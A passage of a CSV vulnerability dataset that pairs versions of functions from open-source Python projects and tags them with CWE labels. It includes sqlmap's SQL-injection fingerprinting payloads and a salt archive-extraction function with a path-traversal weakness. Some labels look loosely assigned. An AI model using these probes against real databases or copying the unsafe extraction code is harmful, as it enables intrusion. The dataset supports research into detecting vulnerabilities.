    params_schema = _infer_param_schema(params) if params else None
    input_arg_name = _get_arg_names(func)[input_arg_index]
    if input_example:
        inputs = {input_arg_name: input_example}
        if params and params_key in inspect.signature(func).parameters:
            inputs[params_key] = params
        # This is for PythonModel's predict function
        if input_arg_index == 1:
            inputs[""context""] = None
        output_example = func(**inputs)
    else:
        output_example = None
    output_schema = (
        _infer_schema_from_type_hint(hints.output, output_example) if hints.output else None
    )
    if not any([input_schema, output_schema, params_schema]):
        return None
    return ModelSignature(inputs=input_schema, outputs=output_schema, params=params_schema)",,mlflow/mlflow,a3c9fd20a1dff9100ae283f7b82f7554865c8079,"def _infer_signature_from_type_hints(func, input_arg_index, input_example=None):
    hints = _extract_type_hints(func, input_arg_index)
    if hints.input is None:
        return None

    params = None
    params_key = ""params""
    if _contains_params(input_example):
        input_example, params = input_example

    input_schema = _infer_schema_from_type_hint(hints.input, input_example) if hints.input else None
    params_schema = _infer_param_schema(params) if params else None
    if params and params_key in inspect.signature(func).parameters:
        output_example = func(input_example, params=params) if input_example else None
    else:
        output_example = func(input_example) if input_example else None
    output_schema = (
        _infer_schema_from_type_hint(hints.output, output_example) if hints.output else None
    )
    if not any([input_schema, output_schema, params_schema]):
        return None
    return ModelSignature(inputs=input_schema, outputs=output_schema, params=params_schema)"
functions_for_tornado_with_cwe.csv,UNKNOWN,UNKNOWN,tornado/httpclient.py,0,"def close(self) -> None:
        """"""Destroys this HTTP client, freeing any file descriptors used.

        This method is **not needed in normal use** due to the way
        that `AsyncHTTPClient` objects are transparently reused.
        ``close()`` is generally only necessary when either the
        `.IOLoop` is also being closed, or the ``force_instance=True``
        argument was used when creating the `AsyncHTTPClient`.

        No other methods may be called on the `AsyncHTTPClient` after
        ``close()``.

        """"""
        if self._closed:
            return
        self._closed = True
        if self._instance_cache is not None:
            cached_val = self._instance_cache.pop(self.io_loop, None)
            # If there's an object other than self in the instance
            # cache for our IOLoop, something has gotten mixed up. A
            # value of None appears to be possible when this is called
            # from a destructor (HTTPClient.__del__) as the weakref
            # gets cleared before the destructor runs.
            if cached_val is not None and cached_val is not self:
                raise RuntimeError(""inconsistent AsyncHTTPClient cache"")",CWE-Unknown,tornadoweb/tornado,98684438032489b090544c6aa03ba6c4d0a823bb,"def close(self) -> None:
        """"""Destroys this HTTP client, freeing any file descriptors used.

        This method is **not needed in normal use** due to the way
        that `AsyncHTTPClient` objects are transparently reused.
        ``close()`` is generally only necessary when either the
        `.IOLoop` is also being closed, or the ``force_instance=True``
        argument was used when creating the `AsyncHTTPClient`.

        No other methods may be called on the `AsyncHTTPClient` after
        ``close()``.

        """"""
        if self._closed:
            return
        self._closed = True
        if self._instance_cache is not None:
            if self._instance_cache.get(self.io_loop) is not self:
                raise RuntimeError(""inconsistent AsyncHTTPClient cache"")
            del self._instance_cache[self.io_loop]"
,UNKNOWN,UNKNOWN,django/utils/cache.py,1,"def _generate_cache_key(request, method, headerlist, key_prefix):
    """"""Returns a cache key from the headers given in the header list.""""""
    ctx = hashlib.md5()
    for header in headerlist:
        value = request.META.get(header, None)
        if value is not None:
            ctx.update(force_bytes(value))
    url = hashlib.md5(force_bytes(iri_to_uri(request.build_absolute_uri())))
    cache_key = 'views.decorators.cache.cache_page.%s.%s.%s.%s' % (
        key_prefix, method, url.hexdigest(), ctx.hexdigest())
    return _i18n_cache_key_suffix(request, cache_key)",CWE-327,django/django,71a03e01aa19cbde08e915d156abf39b67d904ef,"def _generate_cache_key(request, method, headerlist, key_prefix):
    """"""Returns a cache key from the headers given in the header list.""""""
    ctx = hashlib.md5()
    for header in headerlist:
        value = request.META.get(header, None)
        if value is not None:
            ctx.update(force_bytes(value))
    path = hashlib.md5(force_bytes(iri_to_uri(request.get_full_path())))
    cache_key = 'views.decorators.cache.cache_page.%s.%s.%s.%s' % (
        key_prefix, method, path.hexdigest(), ctx.hexdigest())
    return _i18n_cache_key_suffix(request, cache_key)"
functions_for_flask_with_cwe.csv,UNKNOWN,UNKNOWN,flask/globals.py,0,"def _lookup_object(name):
    top = _request_ctx_stack.top
    if top is None:
        raise RuntimeError('working outside of request context')
    return getattr(top, name)",,pallets/flask,c6316132b173f96a6f5a90ff3b62f706f8a62560,"def _lookup_object(name):
    top = _request_ctx_stack.top
    if top is None:
        raise RuntimeError('working outside of request context')
    return getattr(top, name)"
functions_for_tornado_with_cwe.csv,UNKNOWN,UNKNOWN,tornado/test/web_test.py,0,"def test_static_with_range_full_file(self):
        response = self.fetch('/static/robots.txt', headers={
            'Range': 'bytes=0-'})
        # Note: Chrome refuses to play audio if it gets an HTTP 206 in response
        # to ``Range: bytes=0-`` :(
        self.assertEqual(response.code, 200)
        robots_file_path = os.path.join(self.static_dir, ""robots.txt"")
        with open(robots_file_path) as f:
            self.assertEqual(response.body, utf8(f.read()))
        self.assertEqual(response.headers.get(""Content-Length""), ""26"")
        self.assertEqual(response.headers.get(""Content-Range""), None)",CWE-Unknown,tornadoweb/tornado,a82336b09645c741983e3117ded21d9bce7ebf85,"def test_static_with_range_full_file(self):
        response = self.fetch('/static/robots.txt', headers={
            'Range': 'bytes=0-'})
        # Note: Chrome refuses to play audio if it gets an HTTP 206 in response
        # to ``Range: bytes=0-`` :(
        self.assertEqual(response.code, 200)
        robots_file_path = os.path.join(self.static_dir, ""robots.txt"")
        with open(robots_file_path) as f:
            self.assertEqual(response.body, utf8(f.read()))
        self.assertEqual(response.headers.get(""Content-Length""), ""26"")
        self.assertEqual(response.headers.get(""Content-Range""), None)"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,plugins/dbms/access/fingerprint.py,0,"def checkDbms(self):
        if conf.dbms in ACCESS_ALIASES:
            setDbms(""Microsoft Access"")

            if not conf.extensiveFp:
                return True

        logMsg = ""testing Microsoft Access""
        logger.info(logMsg)

        payload = agent.fullPayload("" AND VAL(CVAR(1))=1"")
        result  = Request.queryPage(payload)

        if result:
            logMsg = ""confirming Microsoft Access""
            logger.info(logMsg)

            payload = agent.fullPayload("" AND IIF(ATN(2)>0,1,0) BETWEEN 2 AND 0"")
            result  = Request.queryPage(payload)

            if not result:
                warnMsg = ""the back-end DMBS is not Microsoft Access""
                logger.warn(warnMsg)
                return False

            setDbms(""Microsoft Access"")
            
            if not conf.extensiveFp:
                return True
            
            kb.dbmsVersion = [self.__sysTablesCheck()]
            
            return True
        else:
            warnMsg = ""the back-end DMBS is not Microsoft Access""
            logger.warn(warnMsg)

            return False",,sqlmapproject/sqlmap,5fdebb5d5b4e006e70815fee942ada20949d4277,"def checkDbms(self):
        if conf.dbms in ACCESS_ALIASES:
            setDbms(""Microsoft Access"")
            if not conf.extensiveFp:
                return True

        logMsg = ""testing Microsoft Access""
        logger.info(logMsg)

        payload = agent.fullPayload("" AND VAL(CVAR(1))=1"")
        result  = Request.queryPage(payload)

        if result:
            logMsg = ""confirming Microsoft Access""
            logger.info(logMsg)

            payload = agent.fullPayload("" AND IIF(ATN(2)>0,1,0) BETWEEN 2 AND 0"")
            result  = Request.queryPage(payload)

            if not result:
                warnMsg = ""the back-end DMBS is not Microsoft Access""
                logger.warn(warnMsg)
                return False

            setDbms(""Microsoft Access"")
            
            if not conf.extensiveFp:
                return True
            
            kb.dbmsVersion = [self.__sysTablesCheck()]
            
            return True
        else:
            warnMsg = ""the back-end DMBS is not Microsoft Access""
            logger.warn(warnMsg)

            return False"
,UNKNOWN,UNKNOWN,tests/tracing/test_wrapper.py,1,"def test_wrapper_property():
    start_time = time.time_ns()
    end_time = start_time + 1_000_000

    mock_otel_span = mock.MagicMock()
    mock_otel_span.get_span_context().trace_id = ""12345""
    mock_otel_span.get_span_context().span_id = ""span_id""
    mock_otel_span._start_time = start_time
    mock_otel_span._end_time = end_time
    mock_otel_span.parent.span_id = ""parent_span_id""

    span = MlflowSpanWrapper(mock_otel_span)

    assert span.request_id == ""tr-12345""
    assert span.span_id == ""span_id""
    assert span.start_time == start_time // 1_000
    assert span.end_time == end_time // 1_000
    assert span.parent_span_id == ""parent_span_id""",CWE-703,mlflow/mlflow,66b02cbec463a7179ab6ac2860dd64553afb74d8,"def test_wrapper_property():
    start_time = time.time_ns()
    end_time = start_time + 1_000_000

    mock_otel_span = mock.MagicMock()
    mock_otel_span.get_span_context().trace_id = ""trace_id""
    mock_otel_span.get_span_context().span_id = ""span_id""
    mock_otel_span._start_time = start_time
    mock_otel_span._end_time = end_time
    mock_otel_span.parent.span_id = ""parent_span_id""

    span = MlflowSpanWrapper(mock_otel_span)

    assert span.request_id == ""trace_id""
    assert span.span_id == ""span_id""
    assert span.start_time == start_time // 1_000
    assert span.end_time == end_time // 1_000
    assert span.parent_span_id == ""parent_span_id"""
,UNKNOWN,UNKNOWN,tests/test_client/tests.py,1,"def test_logout(self):
        ""Request a logout after logging in""
        # Log in
        self.client.login(username='testclient', password='password')

        # Request a page that requires a login
        response = self.client.get('/test_client/login_protected_view/')
        self.assertEqual(response.status_code, 200)
        self.assertEqual(response.context['user'].username, 'testclient')

        # Log out
        self.client.logout()

        # Request a page that requires a login
        response = self.client.get('/test_client/login_protected_view/')
        self.assertRedirects(response, 'http://testserver/accounts/login/?next=/test_client/login_protected_view/')",CWE-259,django/django,655b8bb10b3c00d6c96e357d085c20b397a2ffa0,"def test_logout(self):
        ""Request a logout after logging in""
        # Log in
        self.client.login(username='testclient', password='password')

        # Request a page that requires a login
        response = self.client.get('/test_client/login_protected_view/')
        self.assertEqual(response.status_code, 200)
        self.assertEqual(response.context['user'].username, 'testclient')

        # Log out
        self.client.logout()

        # Request a page that requires a login
        response = self.client.get('/test_client/login_protected_view/')
        self.assertRedirects(response, 'http://testserver/accounts/login/?next=/test_client/login_protected_view/')"
,UNKNOWN,UNKNOWN,tests/serialization/test_serialized_objects.py,1,"def test_all_pydantic_models_round_trip():
    pytest.importorskip(""pydantic"", minversion=""2.0.0"")
    if not _ENABLE_AIP_44:
        pytest.skip(""AIP-44 is disabled"")
    classes = set()
    mods_folder = REPO_ROOT / ""airflow/serialization/pydantic""
    for p in mods_folder.iterdir():
        if p.name.startswith(""__""):
            continue
        relpath = str(p.relative_to(REPO_ROOT).stem)
        mod = import_module(f""airflow.serialization.pydantic.{relpath}"")
        for _, obj in inspect.getmembers(mod):
            if inspect.isclass(obj) and issubclass(obj, BaseModel):
                if obj == BaseModel:
                    continue
                classes.add(obj)
    exclusion_list = {
        ""DatasetPydantic"",
        ""DagTagPydantic"",
        ""DagScheduleDatasetReferencePydantic"",
        ""TaskOutletDatasetReferencePydantic"",
        ""DagOwnerAttributesPydantic"",
        ""DatasetEventPydantic"",
    }
    for c in sorted(classes, key=str):
        if c.__name__ in exclusion_list:
            continue
        orm_instance = sample_objects.get(c)
        if not orm_instance:
            pytest.fail(
                f""Class {c.__name__} not set up for testing. Either (1) add""
                f"" to `sample_objects` an object for testing roundtrip or""
                f"" (2) add class name to `exclusion list` if it does not""
                f"" need to be serialized directly.""
            )
        orm_ser = BaseSerialization.serialize(orm_instance, use_pydantic_models=True)
        pydantic_instance = BaseSerialization.deserialize(orm_ser, use_pydantic_models=True)
        if isinstance(pydantic_instance, str):
            pytest.fail(
                f""The model object {orm_instance.__class__} came back as a string ""
                f""after round trip. Probably you need to define a DagAttributeType ""
                f""for it and define it in mappings `_orm_to_model` and `_type_to_class` ""
                f""in `serialized_objects.py`""
            )
        assert isinstance(pydantic_instance, c)
        serialized = BaseSerialization.serialize(pydantic_instance, use_pydantic_models=True)
        deserialized = BaseSerialization.deserialize(serialized, use_pydantic_models=True)
        assert isinstance(deserialized, c)
        assert pydantic_instance == deserialized",CWE-703,apache/airflow,95a136e7fda4ada07174020c37bf373e1c3c7d88,"def test_all_pydantic_models_round_trip():
    pytest.importorskip(""pydantic"", minversion=""2.0.0"")
    if not _ENABLE_AIP_44:
        pytest.skip(""AIP-44 is disabled"")
    classes = set()
    mods_folder = REPO_ROOT / ""airflow/serialization/pydantic""
    for p in mods_folder.iterdir():
        if p.name.startswith(""__""):
            continue
        relpath = str(p.relative_to(REPO_ROOT).stem)
        mod = import_module(f""airflow.serialization.pydantic.{relpath}"")
        for name, obj in inspect.getmembers(mod):
            if inspect.isclass(obj) and issubclass(obj, BaseModel):
                if obj == BaseModel:
                    continue
                classes.add(obj)
    exclusion_list = {
        ""DatasetPydantic"",
        ""DagTagPydantic"",
        ""DagScheduleDatasetReferencePydantic"",
        ""TaskOutletDatasetReferencePydantic"",
        ""DagOwnerAttributesPydantic"",
        ""DatasetEventPydantic"",
    }
    for c in sorted(classes, key=str):
        if c.__name__ in exclusion_list:
            continue
        orm_instance = sample_objects.get(c)
        if not orm_instance:
            pytest.fail(
                f""Class {c.__name__} not set up for testing. Either (1) add""
                f"" to `sample_objects` an object for testing roundtrip or""
                f"" (2) add class name to `exclusion list` if it does not""
                f"" need to be serialized directly.""
            )
        orm_ser = BaseSerialization.serialize(orm_instance, use_pydantic_models=True)
        pydantic_instance = BaseSerialization.deserialize(orm_ser, use_pydantic_models=True)
        if isinstance(pydantic_instance, str):
            pytest.fail(
                f""The model object {orm_instance.__class__} came back as a string ""
                f""after round trip. Probably you need to define a DagAttributeType ""
                f""for it and define it in mappings `_orm_to_model` and `_type_to_class` ""
                f""in `serialized_objects.py`""
            )
        assert isinstance(pydantic_instance, c)
        serialized = BaseSerialization.serialize(pydantic_instance, use_pydantic_models=True)
        deserialized = BaseSerialization.deserialize(serialized, use_pydantic_models=True)
        assert isinstance(deserialized, c)
        assert pydantic_instance == deserialized"
,UNKNOWN,UNKNOWN,providers/databricks/src/airflow/providers/databricks/operators/databricks.py,1,"def _generate_databricks_task_key(
        self, task_id: str | None = None, task_dict: dict[str, BaseOperator] | None = None
    ) -> str:
        """"""Create a databricks task key using the hash of dag_id and task_id.""""""
        if task_id:
            if not task_dict:
                raise ValueError(
                    ""Must pass task_dict if task_id is provided in _generate_databricks_task_key.""
                )
            _task = task_dict.get(task_id)
            if _task and hasattr(_task, ""databricks_task_key""):
                _databricks_task_key = _task.databricks_task_key
            else:
                task_key = f""{self.dag_id}__{task_id}"".encode()
                _databricks_task_key = hashlib.md5(task_key).hexdigest()
            return _databricks_task_key
        if not self._databricks_task_key or len(self._databricks_task_key) > 100:
            self.log.info(
                ""databricks_task_key has not be provided or the provided one exceeds 100 characters and will be truncated by the Databricks API. This will cause failure when trying to monitor the task. A task_key will be generated using the hash value of dag_id+task_id""
            )
            task_key = f""{self.dag_id}__{self.task_id}"".encode()
            self._databricks_task_key = hashlib.md5(task_key).hexdigest()
            self.log.info(""Generated databricks task_key: %s"", self._databricks_task_key)
        return self._databricks_task_key",CWE-327,apache/airflow,cb295c351a016c0a10cab07f2a628b865cff3ca3,"def _generate_databricks_task_key(
        self, task_id: str | None = None, task_dict: dict[str, BaseOperator] | None = None
    ) -> str:
        """"""Create a databricks task key using the hash of dag_id and task_id.""""""
        if task_id:
            if not task_dict:
                raise ValueError(
                    ""Must pass task_dict if task_id is provided in _generate_databricks_task_key.""
                )
            _task = task_dict.get(task_id)
            if _task and hasattr(_task, ""databricks_task_key""):
                _databricks_task_key = _task.databricks_task_key
            else:
                task_key = f""{self.dag_id}__{task_id}"".encode()
                _databricks_task_key = hashlib.md5(task_key).hexdigest()
            return _databricks_task_key
        else:
            if not self._databricks_task_key or len(self._databricks_task_key) > 100:
                self.log.info(
                    ""databricks_task_key has not be provided or the provided one exceeds 100 characters and will be truncated by the Databricks API. This will cause failure when trying to monitor the task. A task_key will be generated using the hash value of dag_id+task_id""
                )
                task_key = f""{self.dag_id}__{self.task_id}"".encode()
                self._databricks_task_key = hashlib.md5(task_key).hexdigest()
                self.log.info(""Generated databricks task_key: %s"", self._databricks_task_key)
            return self._databricks_task_key"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/plugins/cliconf/vyos.py,0,"def get_config(self, filter=None, format=None):
        if format:
            option_values = self.get_option_values()
            if format not in option_values['format']:
                raise ValueError(""'format' value %s is invalid. Valid values of format are %s"" % (format, ', '.join(option_values['format'])))

        if format == 'text':
            out = self.send_command('show configuration')
        else:
            out = self.send_command('show configuration commands')
        return out",,ansible/ansible,af3f510316f64e26a143f3cb6e2701bee3ed2b51,"def get_config(self, filter=None, format=None):
        if format:
            option_values = self.get_option_values()
            if format not in option_values['format']:
                raise ValueError(""'format' value %s is invalid. Valid values of format are %s"" % (format, ', '.join(option_values['format'])))

        if format == 'text':
            out = self.send_command('show configuration')
        else:
            out = self.send_command('show configuration commands')
        return out"
,UNKNOWN,UNKNOWN,test/units/modules/network/f5/test_bigip_gtm_wide_ip.py,1,"def test_module_not_fqdn_name(self):
        args = dict(
            name='foo',
            lb_method='round-robin'
        )
        with pytest.raises(F5ModuleError) as excinfo:
            p = ModuleParameters(params=args)
            assert p.name == 'foo'
        assert 'The provided name must be a valid FQDN' in str(excinfo.value)",CWE-703,ansible/ansible,0bc12859871c86673b321a09141dccc2e40de5f9,"def test_module_not_fqdn_name(self):
        args = dict(
            name='foo',
            lb_method='round-robin'
        )
        with pytest.raises(F5ModuleError) as excinfo:
            p = ModuleParameters(params=args)
            assert p.name == 'foo'
        assert 'The provided name must be a valid FQDN' in str(excinfo)"
,UNKNOWN,UNKNOWN,tornado/websocket.py,1,"def set_nodelay(self, value: bool) -> None:
        """"""Set the no-delay flag for this stream.

        By default, small messages may be delayed and/or combined to minimize
        the number of packets sent.  This can sometimes cause 200-500ms delays
        due to the interaction between Nagle's algorithm and TCP delayed
        ACKs.  To reduce this delay (at the expense of possibly increasing
        bandwidth usage), call ``self.set_nodelay(True)`` once the websocket
        connection is established.

        See `.BaseIOStream.set_nodelay` for additional details.

        .. versionadded:: 3.1
        """"""
        assert self.ws_connection is not None
        self.ws_connection.set_nodelay(value)",CWE-703,tornadoweb/tornado,730ab1c74e1de4b82ad833eaadb6aa2e1b1fc617,"def set_nodelay(self, value: bool) -> None:
        """"""Set the no-delay flag for this stream.

        By default, small messages may be delayed and/or combined to minimize
        the number of packets sent.  This can sometimes cause 200-500ms delays
        due to the interaction between Nagle's algorithm and TCP delayed
        ACKs.  To reduce this delay (at the expense of possibly increasing
        bandwidth usage), call ``self.set_nodelay(True)`` once the websocket
        connection is established.

        See `.BaseIOStream.set_nodelay` for additional details.

        .. versionadded:: 3.1
        """"""
        assert self.stream is not None
        self.stream.set_nodelay(value)"
functions_for_paramiko_with_cwe.csv,UNKNOWN,UNKNOWN,tests/test_auth.py,0,"def tearDown(self):
        self.tc.close()
        self.ts.close()
        self.socks.close()
        self.sockc.close()",,paramiko/paramiko,0e4ce3762a5b25c5d3eb89335495d3bb9054e3e7,"def tearDown(self):
        self.tc.close()
        self.ts.close()
        self.socks.close()
        self.sockc.close()"
,UNKNOWN,UNKNOWN,tests/pytests/unit/modules/test_publish.py,1,"def test_full_data():
    """"""
    Test if it return the full data about the publication
    """"""
    assert publish.publish(""*"", ""publish.salt"") == {}",CWE-703,saltstack/salt,1732323780d6c00c73f204be3617d6331c95f7bd,"def test_full_data():
    """"""
    Test if it return the full data about the publication
    """"""
    assert publish.publish(""*"", ""publish.salt"") == {}"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/plugins/callback/default.py,0,"def v2_runner_on_skipped(self, result):
        if C.DISPLAY_SKIPPED_HOSTS:
            msg = ""skipping: [%s]"" % result._host.get_name()
            if result._task.loop and 'results' in result._result:
                self._process_items(result)
            else:
                if (self._display.verbosity > 0 or '_ansible_verbose_always' in result._result) and not '_ansible_verbose_override' in result._result:
                    msg += "" => %s"" % self._dump_results(result._result)
            self._display.display(msg, color='cyan')",,ansible/ansible,4c9f58a1524454e0b8a8ee4e7a4ab6c31cacbd59,"def v2_runner_on_skipped(self, result):
        if C.DISPLAY_SKIPPED_HOSTS:
            msg = ""skipping: [%s]"" % result._host.get_name()
            if (self._display.verbosity > 0 or '_ansible_verbose_always' in result._result) and not '_ansible_verbose_override' in result._result:
                msg += "" => %s"" % self._dump_results(result._result)
            self._display.display(msg, color='cyan')"
,UNKNOWN,UNKNOWN,salt/states/archive.py,1,"def extracted(name,
              source,
              archive_format,
              tar_options=None,
              source_hash=None,
              if_missing=None,
              keep=False):
    '''
    .. versionadded:: 2014.1.0

    State that make sure an archive is extracted in a directory.
    The downloaded archive is erased if successfully extracted.
    The archive is downloaded only if necessary.

    .. note::

        If ``if_missing`` is not defined, this state will check for ``name``
        instead.  If ``name`` exists, it will assume the archive was previously
        extracted successfully and will not extract it again.

    .. code-block:: yaml

        graylog2-server:
          archive.extracted:
            - name: /opt/
            - source: https://github.com/downloads/Graylog2/graylog2-server/graylog2-server-0.9.6p1.tar.lzma
            - source_hash: md5=499ae16dcae71eeb7c3a30c75ea7a1a6
            - tar_options: J
            - archive_format: tar
            - if_missing: /opt/graylog2-server-0.9.6p1/

    .. code-block:: yaml

        graylog2-server:
          archive.extracted:
            - name: /opt/
            - source: https://github.com/downloads/Graylog2/graylog2-server/graylog2-server-0.9.6p1.tar.gz
            - source_hash: md5=499ae16dcae71eeb7c3a30c75ea7a1a6
            - archive_format: tar
            - if_missing: /opt/graylog2-server-0.9.6p1/

    name
        Directory name where to extract the archive

    source
        Archive source, same syntax as file.managed source argument.

    source_hash
        Hash of source file, or file with list of hash-to-file mappings.
        It uses the same syntax as the file.managed source_hash argument.

    archive_format
        tar, zip or rar

    if_missing
        Some archives, such as tar, extract themselves in a subfolder.
        This directive can be used to validate if the archive had been
        previously extracted.

    tar_options
        Required if used with ``archive_format: tar``, otherwise optional.
        It needs to be the tar argument specific to the archive being extracted,
        such as 'J' for LZMA or 'v' to verbosely list files processed.
        Using this option means that the tar executable on the target will
        be used, which is less platform independent.
        Main operators like -x, --extract, --get, -c, etc. and -f/--file are
        **shoult not be used** here.
        If this option is not set, then the Python tarfile module is used.
        The tarfile module supports gzip and bz2 in Python 2.

    keep
        Keep the archive in the minion's cache
    '''
    ret = {'name': name, 'result': None, 'changes': {}, 'comment': ''}
    valid_archives = ('tar', 'rar', 'zip')

    if archive_format not in valid_archives:
        ret['result'] = False
        ret['comment'] = '{0} is not supported, valid formats are: {1}'.format(
            archive_format, ','.join(valid_archives))
        return ret

    if if_missing is None:
        if_missing = name
    if (
        __salt__['file.directory_exists'](if_missing)
        or __salt__['file.file_exists'](if_missing)
    ):
        ret['result'] = True
        ret['comment'] = '{0} already exists'.format(if_missing)
        return ret

    log.debug('Input seem valid so far')
    filename = os.path.join(__opts__['cachedir'],
                            'files',
                            __env__,
                            '{0}.{1}'.format(if_missing.replace('/', '_'),
                                             archive_format))
    if not os.path.exists(filename):
        if __opts__['test']:
            ret['result'] = None
            ret['comment'] = \
                'Archive {0} would have been downloaded in cache'.format(source)
            return ret

        log.debug('Archive file {0} is not in cache, download it'.format(source))
        data = {
            filename: {
                'file': [
                    'managed',
                    {'name': filename},
                    {'source': source},
                    {'source_hash': source_hash},
                    {'makedirs': True},
                    {'saltenv': __env__}
                ]
            }
        }
        file_result = __salt__['state.single']('file.managed',
                                               filename,
                                               source=source,
                                               source_hash=source_hash,
                                               makedirs=True,
                                               saltenv=__env__)
        log.debug('file.managed: {0}'.format(file_result))
        # get value of first key
        try:
            file_result = file_result[file_result.iterkeys().next()]
        except AttributeError:
            pass

        try:
            if not file_result['result']:
                log.debug('failed to download {0}'.format(source))
                return file_result
        except TypeError:
            if not file_result:
                log.debug('failed to download {0}'.format(source))
                return file_result
    else:
        log.debug('Archive file {0} is already in cache'.format(name))

    if __opts__['test']:
        ret['result'] = None
        ret['comment'] = 'Archive {0} would have been extracted in {1}'.format(
            source, name)
        return ret

    __salt__['file.makedirs'](name)

    if archive_format in ('zip', 'rar'):
        log.debug('Extract {0} in {1}'.format(filename, name))
        files = __salt__['archive.un{0}'.format(archive_format)](filename,
                                                                 name)
    else:
        if tar_options is None:
            with closing(tarfile.open(filename, 'r')) as tar:
                files = tar.getnames()
                tar.extractall(name)
        else:
            log.debug('Untar {0} in {1}'.format(filename, name))

            tar_opts = tar_options.split(' ')

            tar_cmd = ['tar']
            tar_shortopts = 'x'
            tar_longopts = []

            for opt in tar_opts:
                if not opt.startswith('-'):
                    if opt not in ['x', 'f']:
                        tar_shortopts = tar_shortopts + opt
                else:
                    tar_longopts.append(opt)

            tar_cmd.append(tar_shortopts)
            tar_cmd.extend(tar_longopts)
            tar_cmd.extend(['-f', filename])

            results = __salt__['cmd.run_all'](tar_cmd, cwd=name, python_shell=False)
            if results['retcode'] != 0:
                ret['result'] = False
                ret['changes'] = results
                return ret
            if __salt__['cmd.retcode']('tar --version | grep bsdtar', python_shell=True) == 0:
                files = results['stderr']
            else:
                files = results['stdout']
            if not files:
                files = 'no tar output so far'
    if len(files) > 0:
        ret['result'] = True
        ret['changes']['directories_created'] = [name]
        if if_missing != name:
            ret['changes']['directories_created'].append(if_missing)
        ret['changes']['extracted_files'] = files
        ret['comment'] = '{0} extracted in {1}'.format(source, name)
        if not keep:
            os.unlink(filename)
    else:
        __salt__['file.remove'](if_missing)
        ret['result'] = False
        ret['comment'] = 'Can\'t extract content of {0}'.format(source)
    return ret",CWE-22,saltstack/salt,9cce5449c5ecf62e753a981659fdafb1ce8dc51f,"def extracted(name,
              source,
              archive_format,
              tar_options=None,
              source_hash=None,
              if_missing=None,
              keep=False):
    '''
    .. versionadded:: 2014.1.0

    State that make sure an archive is extracted in a directory.
    The downloaded archive is erased if successfully extracted.
    The archive is downloaded only if necessary.

    .. note::

        If ``if_missing`` is not defined, this state will check for ``name``
        instead.  If ``name`` exists, it will assume the archive was previously
        extracted successfully and will not extract it again.

    .. code-block:: yaml

        graylog2-server:
          archive.extracted:
            - name: /opt/
            - source: https://github.com/downloads/Graylog2/graylog2-server/graylog2-server-0.9.6p1.tar.lzma
            - source_hash: md5=499ae16dcae71eeb7c3a30c75ea7a1a6
            - tar_options: J
            - archive_format: tar
            - if_missing: /opt/graylog2-server-0.9.6p1/

    .. code-block:: yaml

        graylog2-server:
          archive.extracted:
            - name: /opt/
            - source: https://github.com/downloads/Graylog2/graylog2-server/graylog2-server-0.9.6p1.tar.gz
            - source_hash: md5=499ae16dcae71eeb7c3a30c75ea7a1a6
            - archive_format: tar
            - if_missing: /opt/graylog2-server-0.9.6p1/

    name
        Directory name where to extract the archive

    source
        Archive source, same syntax as file.managed source argument.

    source_hash
        Hash of source file, or file with list of hash-to-file mappings.
        It uses the same syntax as the file.managed source_hash argument.

    archive_format
        tar, zip or rar

    if_missing
        Some archives, such as tar, extract themselves in a subfolder.
        This directive can be used to validate if the archive had been
        previously extracted.

    tar_options
        Required if used with ``archive_format: tar``, otherwise optional.
        It needs to be the tar argument specific to the archive being extracted,
        such as 'J' for LZMA or 'v' to verbosely list files processed.
        Using this option means that the tar executable on the target will
        be used, which is less platform independent.
        Main operators like -x, --extract, --get, -c, etc. and -f/--file are
        **shoult not be used** here.
        If this option is not set, then the Python tarfile module is used.
        The tarfile module supports gzip and bz2 in Python 2.

    keep
        Keep the archive in the minion's cache
    '''
    ret = {'name': name, 'result': None, 'changes': {}, 'comment': ''}
    valid_archives = ('tar', 'rar', 'zip')

    if archive_format not in valid_archives:
        ret['result'] = False
        ret['comment'] = '{0} is not supported, valid formats are: {1}'.format(
            archive_format, ','.join(valid_archives))
        return ret

    if if_missing is None:
        if_missing = name
    if (
        __salt__['file.directory_exists'](if_missing)
        or __salt__['file.file_exists'](if_missing)
    ):
        ret['result'] = True
        ret['comment'] = '{0} already exists'.format(if_missing)
        return ret

    log.debug('Input seem valid so far')
    filename = os.path.join(__opts__['cachedir'],
                            'files',
                            __env__,
                            '{0}.{1}'.format(if_missing.replace('/', '_'),
                                             archive_format))
    if not os.path.exists(filename):
        if __opts__['test']:
            ret['result'] = None
            ret['comment'] = \
                'Archive {0} would have been downloaded in cache'.format(source)
            return ret

        log.debug('Archive file {0} is not in cache, download it'.format(source))
        data = {
            filename: {
                'file': [
                    'managed',
                    {'name': filename},
                    {'source': source},
                    {'source_hash': source_hash},
                    {'makedirs': True},
                    {'saltenv': __env__}
                ]
            }
        }
        file_result = __salt__['state.single']('file.managed',
                                               filename,
                                               source=source,
                                               source_hash=source_hash,
                                               makedirs=True,
                                               saltenv=__env__)
        log.debug('file.managed: {0}'.format(file_result))
        # get value of first key
        try:
            file_result = file_result[file_result.iterkeys().next()]
        except AttributeError:
            pass

        try:
            if not file_result['result']:
                log.debug('failed to download {0}'.format(source))
                return file_result
        except TypeError:
            if not file_result:
                log.debug('failed to download {0}'.format(source))
                return file_result
    else:
        log.debug('Archive file {0} is already in cache'.format(name))

    if __opts__['test']:
        ret['result'] = None
        ret['comment'] = 'Archive {0} would have been extracted in {1}'.format(
            source, name)
        return ret

    __salt__['file.makedirs'](name)

    if archive_format in ('zip', 'rar'):
        log.debug('Extract {0} in {1}'.format(filename, name))
        files = __salt__['archive.un{0}'.format(archive_format)](filename,
                                                                 name)
    else:
        if tar_options is None:
            with closing(tarfile.open(filename, 'r')) as tar:
                files = tar.getnames()
                tar.extractall(name)
        else:
            log.debug('Untar {0} in {1}'.format(filename, name))

            tar_cmd = ['tar', 'x{0}'.format(tar_options), '-f', repr(filename)]
            results = __salt__['cmd.run_all'](tar_cmd, cwd=name, python_shell=False)
            if results['retcode'] != 0:
                ret['result'] = False
                ret['changes'] = results
                return ret
            if __salt__['cmd.retcode']('tar --version | grep bsdtar', python_shell=True) == 0:
                files = results['stderr']
            else:
                files = results['stdout']
            if not files:
                files = 'no tar output so far'
    if len(files) > 0:
        ret['result'] = True
        ret['changes']['directories_created'] = [name]
        if if_missing != name:
            ret['changes']['directories_created'].append(if_missing)
        ret['changes']['extracted_files'] = files
        ret['comment'] = '{0} extracted in {1}'.format(source, name)
        if not keep:
            os.unlink(filename)
    else:
        __salt__['file.remove'](if_missing)
        ret['result'] = False
